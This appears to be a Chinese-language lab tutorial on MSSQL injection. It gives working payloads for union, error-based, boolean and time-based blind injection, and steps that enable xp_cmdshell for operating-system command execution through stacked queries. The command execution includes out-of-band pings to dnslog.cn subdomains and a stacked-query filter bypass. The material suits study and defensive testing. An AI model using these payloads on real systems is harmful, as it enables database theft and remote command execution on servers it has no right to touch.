0x00 前言
SQL Server 数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。
常见端口号为 1433,属于关系型数据库
MSSQL 注入相比 MYSQL 注入能更容易造成 RCE,所以在实际情况例如 HW 都是重点关注的对象
ps:本文实验环境为 Windows Server 2008
0x01 权限判断
当我们发现一处注入之后,第一件事往往是查看权限,因为只有高权限才会有更多的操作空间也更容易转化成命令执行
MSSQL 权限主要分为两种:服务器级别 和 数据库级别
服务器级角色
服务器级角色我理解的是通过账号密码登陆 SQL Server 后被分配的角色,在 SQL Server 中每个固定的服务级角色都被分配了特定的权限,例如:sysadmin 就能在服务器上执行任意的操作
服务器级的固定角色 | 说明 |
---|---|
sysadmin | sysadmin 固定服务器角色的成员可以在服务器上执行任何活动。 |
serveradmin | serveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。 |
securityadmin | securityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANT 、DENY 和 REVOKE 服务器级权限。 他们还可以 GRANT 、DENY 和 REVOKE 数据库级权限(如果他们具有数据库的访问权限)。 此外,他们还可以重置 SQL Server 登录名的密码。 重要提示: 如果能够授予对 数据库引擎 的访问权限和配置用户权限,安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。 |
processadmin | processadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。 |
setupadmin | setupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加和删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。) |
bulkadmin | bulkadmin 固定服务器角色的成员可以运行 BULK INSERT 语句。 |
diskadmin | diskadmin 固定服务器角色用于管理磁盘文件。 |
dbcreator | dbcreator 固定服务器角色的成员可以创建、更改、删除和还原任何数据库。 |
public | 每个 SQL Server 登录名都属于 public 服务器角色。 如果未向某个服务器主体授予或拒绝对某个安全对象的特定权限,该用户将继承授予该对象的 public 角色的权限。 只有在希望所有用户都能使用对象时,才在对象上分配 Public 权限。 你无法更改具有 Public 角色的成员身份。 注意:public 与其他角色的实现方式不同,可通过 public 固定服务器角色授予、拒绝或撤销权限 。 |
我们可以通过 is_srvrolemember('xxx')
函数来判断我们当前的服务器角色,下图返回 1 说明我们当前的服务器角色为 sysadmin
该函数的返回类型主要为以下几种
返回值 | 描述 |
---|---|
0 | login 不是 role 的成员。 |
1 | login 是 role 的成员。 |
NULL | role 或 login 无效,或者没有查看角色成员身份的权限。 |
sqlmap 中 --is-dba 就是通过如下语句来进行判断的
select is_srvrolemember('sysadmin')
数据库级别
通过在数据库中创建数据库用户并将该数据库用户映射到登录名来授予登录名对数据库的访问权限。
固定数据库角色名 | 说明 |
---|---|
db_owner | db_owner 固定数据库角色的成员可以执行数据库的所有配置和维护活动,还可以删除 SQL Server中的数据库。 (在 SQL 数据库 和 Synapse Analytics 中,某些维护活动需要服务器级别权限,并且不能由 db_owners 执行。) |
db_securityadmin | db_securityadmin 固定数据库角色的成员可以仅修改自定义角色的角色成员资格和管理权限。 此角色的成员可能会提升其权限,应监视其操作。 |
db_accessadmin | db_accessadmin 固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。 |
db_backupoperator | db_backupoperator 固定数据库角色的成员可以备份数据库。 |
db_ddladmin | db_ddladmin 固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。 |
db_datawriter | db_datawriter 固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。 |
db_datareader | db_datareader 固定数据库角色的成员可以从所有用户表和视图中读取所有数据。 用户对象可能存在于除 sys 和 INFORMATION_SCHEMA 以外的任何架构中 。 |
db_denydatawriter | db_denydatawriter 固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。 |
db_denydatareader | db_denydatareader 固定数据库角色的成员不能读取数据库内用户表和视图中的任何数据。 |
可通过 is_member('xxx')
函数来判断
0x02 默认库
master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。
其实我们主要关注的是 master 数据库,master 数据库中记录了所有系统级别的信息例如:登陆的账号、关联的服务器、系统配置,同时 master 数据库中也存储这所有的数据库名以及这些数据库文件的位置
select name,filename from master.dbo.sysdatabases;
0x03 常用 SQL 语句
select user; // 查看当前数据库拥有者
select db_name(); // 查看当前数据库名
select db_name(0); // 查看第一个数据库
select host_name(); // 查看当前主机名
select @@version; // 查看数据库版本
// 由于 dbo 可省略因此 master.dbo.sysdatabases == master..sysdatabases
// for xml path 可输出所有结果
select name from master..sysdatabases for xml path; // 查询所有数据库
select name from sqli..sysobjects where xtype='u' for xml path; // 查询 sqli 数据库的所有数据表
select name from sqli..syscolumns where id=(select max(id) from sqli..sysobjects where xtype='u' and name='emails') for xml path; // 查询 sqli 数据库中 emails 表中的所有列名
select id,email_id from sqli..emails for xml path; // 查询 emails 中 id、emails_id 的数据
0x04 MSSQL 注入
联合注入
联合注入和 MySQL 注入并没有太多区别,找到回显的点之后直接注入 payload 即可
http://192.168.2.5/sql/less-1.asp?id=-1' union select 1,(select name from master..sysdatabases for xml path),3 --
报错注入
通过类型转换发生的报错来抛出我们的执行结果,由于我们执行的结果是 String 类型,但是由于前面是 1=
所以导致类型转换错误从而抛出我们执行的结果
http://192.168.2.5/sql/less-1.asp?id=1' and 1=(select name from master..sysdatabases for xml path) --
当然不止上面的这种利用手法,只要是能够支持类型转换的函数那么大概率就可以,当然了报错的前提就是服务器会将报错信息进行回显
支持进行爆错注入得函数 |
---|
convert() |
CAST() |
db_name() |
col_name() |
filegroup_name() |
object_name() |
suser_name() |
user_name() |
schema_name() |
type_name() |
布尔盲注
通过判断返回结果来进行注入,和 Mysql 的一些利用比较相似
http://192.168.0.111/sql/less-2.asp?id=1 and ascii(substring((select top 1 name from master..sysdatabases),1,1))>1
True
http://192.168.0.111/sql/less-2.asp?id=1 and ascii(substring((select top 1 name from master..sysdatabases),1,1))>1000
False
延时盲注
MSSQL 时间盲注和 MySQL 的不一样 利用的是如下来进行延时
WAITFOR DELAY '0:0:4' -- 表⽰延迟4秒
利用如下语句进行延时
http://192.168.0.111/sql/less-2.asp?id=1; if (ascii(substring((select top 1 name from master..sysdatabases),1,1))>1) waitfor delay '0:0:5'
当大于 1000 的时候就没有发生延迟
0x05 命令执行
MsSQL 中我重点关注的就是命令执行,毕竟跑数据的话 sqlmap 还是很好使的,但是命令执行的话有的时候 sqlmap 不大行,得自己手工来
xp_cmdshell 命令执行
判断是否存在xp_cmdshell存储过程
如果开启了那么就会返回 1 , 0 则表示不存在
select count(name) from master..sysobjects where xtype='x' and name='xp_cmdshell'
http://192.168.0.111/sql/less-2.asp?id=1 and 1=(select count(name) from master..sysobjects where xtype='x' and name='xp_cmdshell')
开启 xp_cmdshell
# 开启xp_cmdshell过程如下
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效
关闭 xp_cmdshell
# 关闭xp_cmdshell过程如下
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效
堆叠注入进行命令执行
http://192.168.0.111/sql/less-2.asp?id=1;exec master..xp_cmdshell 'ping -n 1 igqlje.dnslog.cn';
可以看到命令成功执行了,但是实际情况还是获取到目标的回显
写入到表进行回显
1.创建表
2.将执行结果插入到表中
3.将结果从表中读出来
4.删除表
创建表并将结果进行插入,这里将 whoami 结果进行了插入
create table temp(id int identity(1,1),a varchar(8000));insert into temp exec master.dbo.xp_cmdshell 'whoami';
将结果从表里读出来
select substring((select a from temp for xml path),1,4000 )
最后将表进行删除就行了
;drop table temp;
完整的payload 如下:
-- 创建一个表
;create table temp(id int identity(1,1),a varchar(8000));
-- 执行cmd指令并且插入到表中
;insert into temp exec master.dbo.xp_cmdshell 'dir c:\';
-- 可以一次得到所有的结果
and (select substring((select a from temp for xml auto),1,4000 ) ) >0 --
-- 删除表
;drop table temp;
堆叠限制绕过
虽然 MsSQL 默认支持堆叠注入但是有时候会被关掉这时候就需要进行绕过
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');
实际注入过程中 payload
http://192.168.0.111/sql/less-2.asp?id=1 if 1=1 execute('exec xp_cmdshell ''ping -n 1 2ib2rq.dnslog.cn''');
同样成功执行了命令